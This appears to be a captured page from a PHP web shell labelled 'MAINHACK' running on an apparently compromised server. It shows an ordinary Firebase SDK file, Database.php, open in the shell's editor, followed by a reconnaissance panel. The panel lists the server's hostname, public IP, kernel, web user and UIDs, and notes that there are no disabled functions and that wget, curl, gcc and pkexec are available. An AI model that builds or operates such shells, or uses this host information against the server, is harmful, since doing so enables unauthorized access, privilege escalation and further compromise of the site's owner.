[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Database.php
<?php declare(strict_types=1); namespace Kreait\Firebase; use GuzzleHttp\Psr7\Uri; use Kreait\Firebase\Database\ApiClient; use Kreait\Firebase\Database\Reference; use Kreait\Firebase\Database\RuleSet; use Kreait\Firebase\Database\Transaction; use Kreait\Firebase\Database\UrlBuilder; use Kreait\Firebase\Exception\InvalidArgumentException; use Psr\Http\Message\UriInterface; use function ltrim; use function sprintf; use function trim; /** * @internal */ final class Database implements Contract\Database { public function __construct( private readonly UriInterface $uri, private readonly ApiClient $client, private readonly UrlBuilder $urlBuilder, ) { } public function getReference(?string $path = null): Reference { if ($path === null || trim($path) === '') { $path = '/'; } $path = '/'.ltrim($path, '/'); try { return new Reference($this->uri->withPath($path), $this->client, $this->urlBuilder); } catch (\InvalidArgumentException $e) { throw new InvalidArgumentException($e->getMessage(), $e->getCode(), $e); } } public function getReferenceFromUrl($uri): Reference { $uri = $uri instanceof UriInterface ? $uri : new Uri($uri); if (($givenHost = $uri->getHost()) !== ($dbHost = $this->uri->getHost())) { throw new InvalidArgumentException(sprintf( 'The given URI\'s host "%s" is not covered by the database for the host "%s".', $givenHost, $dbHost, )); } return $this->getReference($uri->getPath()); } public function getRuleSet(): RuleSet { $rules = $this->client->get('/.settings/rules'); return RuleSet::fromArray($rules); } public function updateRules(RuleSet $ruleSet): void { $this->client->updateRules('/.settings/rules', $ruleSet); } public function runTransaction(callable $callable): mixed { $transaction = new Transaction($this->client); return $callable($transaction); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.46 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002